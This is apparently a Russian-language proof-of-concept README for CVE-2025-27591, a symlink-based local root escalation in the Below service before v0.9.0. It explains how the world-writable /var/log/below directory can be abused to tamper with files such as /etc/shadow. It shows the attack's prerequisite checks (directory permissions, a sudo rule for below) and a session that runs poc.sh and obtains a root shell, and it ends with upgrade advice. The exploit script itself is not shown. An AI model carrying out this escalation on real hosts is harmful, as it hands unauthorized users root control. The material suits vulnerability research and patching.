
Доказательство концепции для CVE-2025-27591, повышение локальных привилегий в Below < v0.9.0
Доказательство концепции для CVE-2025-27591 — уязвимости, которая позволяет локальным непривилегированным пользователям повышать свои привилегии до root через символьные ссылки.
Уязвимость затрагивает службу Below (версии до v0.9.0). Она создаёт каталог /var/log/below с правами доступа world-writable (0777), что позволяет непривилегированным локальным пользователям перемещать символьные ссылки и манипулировать критическими файлами, такими как /etc/shadow, что приводит к повышению привилегий до root.
Локальный непривилегированный пользователь может повысить привилегии до root следующим образом:
/var/log/below/ должен иметь права world-writable (0777) и содержать файл error_root.log.foo@victim:~$ ls -l /var/log/ | grep below
drwxrwxrwx 3 root root 4096 Jul 8 20:45 below
Потребуются привилегии уровня sudoers.
foo@victim:~$ sudo -l
Matching Defaults entries for jacob on victim:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User foo may run the following commands on victim:
(ALL : ALL) NOPASSWD: /usr/bin/below
Как только у нас будет файл poc.sh, предоставим ему необходимые разрешения, выполним его — и станем root.
foo@victim:/tmp$ chmod +x poc.sh
foo@victim:/tmp$ ./poc.sh
evil@victim:/tmp# id
uid=0(evil) gid=0(root) groups=0(root)
Обновитесь до Below v0.9.0 или новее, где удалена небезопасная логика chmod и используются функции systemd unit, такие как LogsDirectory=below.